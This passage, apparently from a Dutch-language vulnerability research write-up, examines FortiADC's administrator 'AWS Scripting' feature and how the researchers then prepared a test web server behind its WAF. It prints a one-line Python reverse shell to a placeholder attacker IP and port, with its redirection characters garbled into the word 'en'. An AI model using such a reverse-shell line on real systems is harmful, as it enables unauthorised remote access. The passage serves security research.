Na het implementeren van een instantie van het product werden de onderdelen ervan geanalyseerd. Een van de eerste dingen die werd geïdentificeerd, was de zogenaamde "AWS Scripting"-functionaliteit waarmee een beheerder bepaalde beheertaken kan uitvoeren door Python-scripts te uploaden en uit te voeren:
"FortiADC biedt de methode om elke AWS API voor gebruikers uit te voeren - Gebruikers kunnen Python script uploaden naar FortiADC (systeem > AWS Scripting pagina) met verkeersgroep instelling en het script uitvoeren op de FortiADC waartoe zijn verkeersgroep behoort."
Met andere woorden, dit betekent dat gebruikers willekeurige Python-scripts op de applicatieserver mogen uitvoeren. Wat kan er fout gaan? Deze functionaliteit kan worden misbruikt door het volgende script te uploaden en uit te voeren om een reverse shell te spawnen naar een machine die onder controle staat van een aanvaller.
import os; os.system("bash -i >en /dev/tcp/<aanvaller-ip>/<poort> 0>en1")
Er werd besloten om dit probleem niet aan de leverancier te melden, omdat het deel uitmaakte van de bedoelde functionaliteit die beschikbaar was voor de beheerder, en er werd verwacht dat de leverancier het niet als een beveiligingslek zou beschouwen. Niettemin, aangezien de SSH-beheersinterface van FortiADC vrij beperkt bleek te zijn en alleen interactie bood met bepaalde onderdelen van de toepassing, zou het verkrijgen van toegang tot het besturingssysteem verdere analyse van de toepassing kunnen vergemakkelijken. Het is ook vermeldenswaard dat de toepassing out-of-the-box als root-gebruiker draait.
Het op afstand uitvoeren van commando's wordt meestal beschouwd als een kroonjuweel als het gaat om onderzoek naar kwetsbaarheden. Daarom werd geprobeerd manieren te vinden om dit te bewerkstelligen vanuit het perspectief van niet-geauthenticeerde gebruikers. Omdat er echter geen problemen met authenticatie of autorisatie werden geïdentificeerd, werd besloten om de focus te verleggen van het aanvallen van de beheerinterface zelf naar het identificeren van zwakke plekken in de manier waarop FortiADC verzoeken afhandelt naar bronnen achter de load balancer en web application firewall (WAF). Om dat te doen, werd een eenvoudige webserver apart ingezet en geconfigureerd om beheerd te worden door de ingebouwde FortiADC load balancer. De WAF-component werd ook ingeschakeld voor de corresponderende loadbalancinggroep. Op de webserver achter de loadbalancer werd een eenvoudige webtoepassing geïmplementeerd die alleen parameters teruggaf die bij de inkomende verzoeken werden ingediend.